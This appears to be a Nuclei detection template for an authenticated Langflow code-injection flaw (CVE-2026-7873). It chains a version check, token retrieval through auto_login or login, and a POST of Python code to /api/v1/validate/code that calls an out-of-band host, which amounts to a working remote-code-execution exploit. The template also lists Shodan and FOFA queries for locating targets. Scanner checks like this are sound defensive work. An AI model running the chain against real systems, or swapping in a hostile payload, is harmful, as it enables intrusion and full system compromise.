Description
IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
id: CVE-2026-7873
info:
name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
impact: |
Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
remediation: |
Update to the latest version beyond 1.10.0.
reference:
- https://www.ibm.com/support/pages/node/7278441
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb
- https://github.com/rmhowe425/POC-CVE-2026-7873
- https://nvd.nist.gov/vuln/detail/CVE-2026-7873
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-7873
epss-score: 0.06211
epss-percentile: 0.93567
cwe-id: CWE-94
metadata:
verified: true
max-request: 4
product: langflow
vendor: langflow-ai
shodan-query: 'http.title:"Langflow"'
fofa-query: 'title="Langflow"'
tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev
flow: |
http(1);
let inRange = false;
if (template["langflow_version"] && template["langflow_package"]) {
let p = String(template["langflow_version"]).split(".");
let major = parseInt(p[0], 10);
let minor = parseInt(p[1], 10);
let patch = parseInt(p[2], 10);
if (isNaN(patch)) { patch = 0; }
if (!isNaN(major) && !isNaN(minor)) {
let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));
let atMost = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));
inRange = atLeast && atMost;
}
}
if (inRange) {
let token = "";
http(2);
if (template["auto_token"]) {
token = template["auto_token"];
}
if (!token) {
http(3);
if (template["login_token"]) {
token = template["login_token"];
}
}
if (token) {
set("auth_token", token);
http(4);
}
}
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: langflow_version
internal: true
part: body
group: 1
regex:
- '"version"\s*:\s*"([0-9][^"]*)"'
- type: regex
name: langflow_package
internal: true
part: body
group: 1
regex:
- '"package"\s*:\s*"([Ll]angflow)"'
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: auto_token
internal: true
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
POST /api/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
extractors:
- type: regex
name: login_token
internal: true
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{auth_token}}
{"code": "@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\ndef langflow_check():\n pass"}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "dns", "http")'
# digest: 4a0a004730450221009c8f374799b2208eaaea9a2cb5138f75261e5bf11eca42b7847bbea1040b2f010220722b46204ae69d32548205db83b98e604dd99788e62a5b00e11f42afd26e9790:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.